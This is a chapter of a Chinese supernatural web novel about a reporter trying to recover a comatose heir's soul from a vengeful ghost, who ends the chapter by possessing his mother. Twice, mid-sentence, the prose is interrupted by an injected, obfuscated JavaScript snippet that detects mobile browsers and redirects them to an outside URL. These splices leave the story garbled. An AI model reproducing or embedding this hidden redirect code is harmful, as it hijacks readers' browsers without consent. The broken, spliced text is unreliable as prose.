她清楚他心里一定有很多疑惑,但她不能把事情告诉他。 如果让许忠林知道了幕后的人是汤爷爷,张熙杰还有郑叔叔,张阿姨很可能就会被报复。 大概是出于对自己爷爷的了解,也是担心许忠林真的会这么做,所以许修远也没有把他查到的情况告诉许忠林。 好在张熙杰虽然不相信她的话,但也没有再追问过,到了第二天又恢复了正常的状态。 下午四点多,颜珺瑶和张熙杰一起出去采访,回来之后又是写稿子,剪片子,等忙完的时候,已经七点多了。 张熙杰开车送她回去,可车子开到半路的时候,颜珺瑶却突然接到宗叔的电话。 得知了许修远的情况,她心急如焚,顾不上许多,立即让张熙杰送她去医院。 张熙杰在前方路口调转车头,一边开车一边问她到底出什么事了。 “许修远生病了,进了医院,我去——看一看。” * 到了医院,张熙杰打算跟颜珺瑶一起去病房看望许修远,可刚下车就看到等在楼下的宗叔。 宗叔委婉地表示许忠林只让颜珺瑶上去,颜珺瑶把张熙杰拉到一旁,跟他解释:“许家不希望太多人知道许修远生病的事情,担心对公司有影响。” 张熙杰不介意,看着颜珺瑶和宗叔离开的背影,愈发觉得不对劲了。 颜珺瑶和许修远根本就没有确定关系,为什么许修远生病,许忠林这么着急就把她叫过来呢? 在上楼的时候,宗叔已经把情况言简意赅地跟颜珺瑶说了。 “说是下班刚回到家就晕倒了,立即就送到医院来了,一切检查都正常,赵先生说这一次还是生魂离体,必然又是沈新柔做的。” 颜珺瑶不禁红了眼睛,许修远为什么又成了这样呢? 明明沈新柔和汤爷爷都保证过他不会有事,可他的生魂怎么又离体了呢? 出了电梯,宗叔把她带到了一间办公室,说是老爷子有事想求颜小姐。 进了一间医生的办公室,里面只有许忠林还有赵敬鸿。 一看到颜珺瑶进门,许忠林态度非常客气,近乎是哀求,急切地说道:“颜小姐,我们小远的生魂又被沈新柔带走了——” 颜珺瑶扫了许忠林和赵敬鸿一眼,“沈新柔要的项链呢?许董是找不到,还是不愿意给?” “项链我一定会找到的,但现在最重要的是把小远的生魂找回来。” “许董,那条项链到底是不是在许曼珍的棺木里?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许忠林看着她说道:“颜小姐,小远说上次就是你去到沈新柔的坟前磕头跪求,所以沈新柔才放过了他,所以这一次还要麻烦颜小姐,能再帮帮小远。” “我可以再去给沈新柔磕头跪求,但我不能保证这一次还能让沈新柔放了他。上次赵敬鸿给了我一刀,许薇萍已经没了,沈新柔只怕是对许家的仇恨更深。” 赵敬鸿别开了视线,不看颜珺瑶,也没有说话。 许忠林叹了口气,“那就辛苦颜小姐了,凌晨的时候我们再上山,颜小姐现在可以先去好好休息一下。” 颜珺瑶默了片刻,“但我需要许董的一个保证。” 许忠林愣了下,“什么保证?颜小姐请说。” “之前害死许薇萍的那把刀,我需要你现在把那把刀交给我,我信不过许董和赵先生。如果上了山,沈新柔再次上了我的身,您又打算给我一刀,到时候我就是孤立无援了,没人会帮我,你们偷偷弄死了我都没人知道。” 赵敬鸿皱了皱眉头,许忠林没有任何犹豫就答应了,宗叔会意,立即离开了办公室。 颜珺瑶站了起来,“许董,我希望不管今晚许修远有没有醒过来,在我祭拜完沈新柔之后,您都要连夜安排人打开许曼珍的棺木。 如果这次您再有犹豫,之后许家出了任何事,我都不会再参与,这些事本就和我无关,我没有必要拿自己的命开玩笑。” 许忠林握紧了拐杖,沉声回了个“好”字,“颜小姐放心,我说到做到。” 颜珺瑶不禁嗤笑一声,“我放心有什么用,这是你许家的事情。” 81. 第 81 章 颜珺瑶敲响了病房的门,这次给她开门的是一位没有见过的阿姨。 对方见到她很是诧异,她解释道:“我是颜珺瑶,是许修远的朋友,我来看看他。” 阿姨看了她好一会儿,很是犹豫,有些不敢随意让女主进去。 但很快许总林就出现在颜珺瑶身后,对她点了点头,阿姨这才侧过了身,让人进去。 颜珺瑶和许忠林一前一后进了病房的里间,许修远和上次一样,一动不动地躺在床上,他的妈妈坐在病床边哭红了眼睛,还在时不时啜泣着。 听到动静,梁舒惠抬头看了过来,颜珺瑶和她打了声招呼,就安静地站在一旁,心里很不是滋味。 许忠林低声安慰了梁舒惠两句,就到了外间坐着。 阿姨给颜珺瑶倒了杯水,又给她拿了张凳子。 坐下之后,颜珺瑶只感到满心的无措,她现在什么都做不了。 她直觉今晚就算她去到墓地,能顺利见到沈新柔,沈新柔也很难会再答应自己什么。 沈新柔和汤爷爷确实答应自己不会让男主出事,许修远也在两天前醒了过来,自己没有理由怨恨她和汤爷爷没有信守承诺。 也许,这一次才是沈新柔真正的报复。 她担心的是,即使今晚许忠林挖开了许曼珍的棺木,拿到了项链,沈新柔也不会轻易让许修远回来。 也许她真的不会要了许修远的命,但她一定会利用他来折磨许忠林,让后者痛不欲生,生不如死。 病房里十分安静,只有梁舒惠低低的哭声,颜珺瑶也没了任何的安慰可以说得出口,因为她也不敢保证这一次许修远是不是真的会没事。 阿姨走到梁舒惠身边轻轻拍了拍她的肩膀,低声劝慰她不要哭了。 “要是哭坏了身体,等到小远醒过来该多心疼啊!” 梁舒惠拿着纸巾擦眼泪,又喝了一口水,情绪稍微有些缓过来。 她看向一直沉默的颜珺瑶,“颜小姐,谢谢你这么晚过来看我们修远。” 颜珺瑶抿了抿唇,微微一笑,“阿姨客气了,许修远是我的好朋友。” 梁舒惠说着说着眼泪又流了下来,她立马抽了张纸递过去,也不知道该说什么。 不知过了多久,宗叔终于来了,说是请颜珺瑶出去说句话。 颜珺瑶跟着出了病房,就看到宗叔递给她一个檀木盒子。 她接了过来,打开一看,里头果然是那把黑钢刀,刀把上雕刻着花纹,许修远说这是睚眦纹。 这么短的时间,他们应该不会有机会造假。 于是她将盒子放到了包里,再次进入病房,梁舒惠瞥了一眼,注意到她鼓鼓囊囊的包,但也没有多问。 没过多久,颜珺瑶的手机突然响了。 是张熙杰打来的。 颜珺瑶跑到病房外面接了电话,张熙杰奇怪她怎么在上面待那么长时间。 她这才知道原来他一直没走。 “你赶紧回去休息,我应该会比较晚才能回去,你不用等我。” “你吃饭了没?” 颜珺瑶这才发现自己腹内空空,不说不觉得,这么一说倒是开始有点感觉饿了。 “我给你买了夜宵,马上送上去。” 颜珺瑶还没来得及劝阻,张熙杰已经挂了电话,她只好站在电梯口等着他。 电梯走走停停,终于开了门。 张熙杰将一个袋子递过来,拉着她坐到了一旁的长椅上。 同时解释道:“你刚才上来的时候,电梯直达这一层,所以我就知道了。放心吧,我知道许家人不希望许修远生病的事被太多人知道,我不会过去,更不会说出去的,许修远好得帮过我们家。” 他见颜珺瑶一动不动地捧着手上的那碗面,便干脆帮她打开,又拆了筷子塞到她手上。 “别发愣了,赶紧吃吧!” 颜珺瑶抿了抿唇,默了片刻,“熙杰,谢谢你!” 张熙杰“啧”了一声,嘀咕了一句:“说的什么傻话,快吃吧!” 颜珺瑶确实饿了,一想到今晚可能还要忙到很晚,她就赶紧大口吃了起来,不管如何,她都需要补充体力。 张熙杰在一旁默默地陪着她,颜珺瑶吃的很快,见她吃的差不多了,又递给她一瓶柠檬水。 “许修远是不是昏迷不醒?” 颜珺瑶愣了下,有些奇怪他怎么会知道。 张熙杰斜晲了她一眼,“要是他醒着的,不会没人发现你还没吃饭的。他现在到底怎么样了?” 颜珺瑶摇摇头,满脸苦恼,“我也不太清楚。” “这么说来,看来是很严重了。” 张熙杰又问:“你之前请了两天假是不是因为他?今天他又突然发病了?” 颜珺瑶从包里拿了张面巾纸,擦了擦嘴,又喝了口饮料,含糊道:“算是吧——” “他的病,是不是和——那方面有关?” 颜珺瑶倏地扭头看向他,认真道:“熙杰,你真的应该听汤爷爷的话。” 张熙杰眉头拧紧,“我知道你不想让我问,但你和我爷爷最近都很不对劲,而且那天晚上,我爷爷突然离开病房去见的人就是你,对不对——” 颜珺瑶迅速大声地咳嗽起来,同时又用余光观察病房那头有没有人出来。 张熙杰一看就知道她是在假装咳嗽,怪异地看她:“你——干嘛呢?” “……咳嗽——” “放心,这么小声,没人会听到的。” 他瞥了一眼病房的方向,“所以你和我爷爷都和许修远的病有关吗?之前你连续两天都在老家,是去找我爷爷了吗?你们俩到底要做什么?” 颜珺瑶低头沉思了良久,才说道:“熙杰,你真的不要问了,汤爷爷不会害你的,知道的越多不一定有好处的,你——赶紧回去吧,算我求你了。等到过段时间,如果可以的话,我会把事情都告诉你的,你相信我,我不会骗你的。” “珺瑶,许家百年望族,有钱有势,人脉极广,不是那么好对——” 张熙杰的话还没说完,走廊尽头的病房里突然跑出来一个人,焦急苍老的男声迅速传来。 “颜小姐,颜小姐——” 颜珺瑶赶紧站了起来,“我在这,马上过去!” 宗叔见到她身边还有一个人,将话止住了,点点头,转身就又进了病房。 颜珺瑶看了一眼手机,已经十一点多了。 “事情不是你想的那样,你也不要担心,我不会有事的,我和许修远真的是朋友,我不是要对他做什么,你赶紧回去吧!” 张熙杰怔了片刻,只好点头答应了。 颜珺瑶替他按了电梯的下行按钮,“我过去看看,你到家了给我发个微信,不用担心我,我很好。” * 颜珺瑶拎着自己的包,往病房跑去。 一进病房,宗叔就跟她解释说刚才许修远突然睁开了眼睛,但又很快闭上了。 她赶紧进了里间,许修远确实是紧闭着双眼,这是怎么回事?难道他的生魂现在就在病房里吗? 许忠林见到她进来,又把她叫到了之前的办公室说话。 他的猜测和颜珺瑶一样,“小远的生魂已经就在这附近,否则刚才不会醒来。” “许董是怀疑沈新柔也在这附近?” 许忠林点点头,“对,沈新柔一定也在附近,所以我想请求颜小姐能在病房里把沈新柔叫出来。” 颜珺瑶答应了,三人离开办公室,却看到陈阿姨正往电梯方向走去。 陈阿姨见到许忠林,解释说是梁舒惠让她不用在那里陪着,她今晚要自己留下来照顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302866|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许修远。 进了病房,许忠林开口让梁舒惠回去休息,今晚他和宗叔会留下来看着。 颜珺瑶刚把包放在了一旁的椅子上,却见梁舒惠愤愤地从病床边站起来,厉声指责道:“爸,您是要害死小远吗?” 众人皆是一愣,都惊讶于梁舒惠为什么这么说。 许忠林瞪着眼睛骂道:“你在说什么胡话?” 梁舒惠端起一旁桌子上的水果盘,直接砸到了地上。 “我都知道了,您还想瞒着我,一个死了几十年的人而已,您为什么不愿意开棺拿那条项链,而是一直拖延,一直敷衍,现在把修远害成这样,您满意了吗?” 在场的人无不震惊,梁舒惠怎么会知道这件事呢?是谁告诉她的? 颜珺瑶想起刚才离开的那位陈阿姨,难道是沈新柔上了她的身,把事情都告诉了梁舒惠? 不,不对,不可能是那个阿姨,除非—— 梁舒惠现在的身体里才是沈新柔? 许忠林狠狠皱着眉,“谁跟你胡说八道的?” 梁舒惠冷哼一声,“胡说八道?您的母亲,您的大姐害死了幼儿,难道不是事实吗?您敢说不是吗?” “到底谁在你面前胡言乱语的?而你居然还相信了——” 梁舒惠蓦地露出一抹笑意,“爸,难道您还不承认吗?” 不知为何,颜珺瑶被她脸上的笑容给吓到了。 刚才还一直沉浸在悲伤中的女人,怎么突然像是换了一个人—— 蓦地,她睁大了眼睛,死死地盯着梁舒惠,真的是沈新柔! 许忠林很显然也发现了不对劲,他微微眯起了眼睛,脸颊控制不住地抽动着,颤声问道:“你——你是谁?” “哎呀,居然被你看出来了!” 梁舒惠微微扬起下巴哈哈大笑起来,“二少爷呀,二少爷,你果然是赵珺惠的种,就是聪明啊!也是啊,我本就不是出自名门,用你母亲的话就是,山鸡再怎么装也不是凤凰,你们许家一直都看不上我,怪不得二少爷这么快就看穿了我的小把戏!” “二妈妈——”许忠林颤颤巍巍地喊了一声,“求你放过小远吧,项链我今晚就能拿到——” 说着,”扑通“一声,他再次跪了下来,“二妈妈,我求你了——” 梁舒惠的脸上倏地一片冰冷,“每次和你见面,你怎么都要给我下跪呢?这是第几次了?你给我下跪了几次,你就骗了我几次,我还会再相信你吗? 那条项链,呵,拿到也罢,拿不到也罢,这孩子的命我是要定了,他的生魂不会再回来了。而你,我的二少爷,我不会让你死的——哦,不对,你暂时也死不了的,谁让你命好呢! 八字纯阳,又是天生的长寿富贵命格,我哪有本事能要了你的命。不过你要记住,你克死了自己的两个儿子,现在又为了一条项链,害死了自己的亲孙子,而你的儿媳——” 她瞥了一眼身边的位置,继续说道:“她就在我身边呢!哎呀,我差点忘了,她现在还什么都不知道呢!” 她捂着嘴笑了两声,“那我就多啰嗦两句,我是许天佑的二房,许忠林的母亲害死我不足两岁的儿子,他的大姐,只有十三岁的许曼珍又害死了我年仅四岁的女儿,还抢走了她的一条蝴蝶项链。 我要求许忠林归还项链,过往一切就此了结,但是许忠林却舍不得扰了她大姐死后的清静,宁愿看着自己唯一的孙子就这样无声无息地躺在床上,都不愿意打开她大姐的棺木拿项链。不知道他清不清楚,生魂离体太久,就算想回来也回不来了,投不了胎,永远都在飘荡着,多可怜! 你的公公,为了一条项链,为了一个死去几十年的人,为了许家所谓的名声,害死了你的儿子。” 下一秒,突然听到“啪”地一声,整个病房瞬间暗了下来,停电了?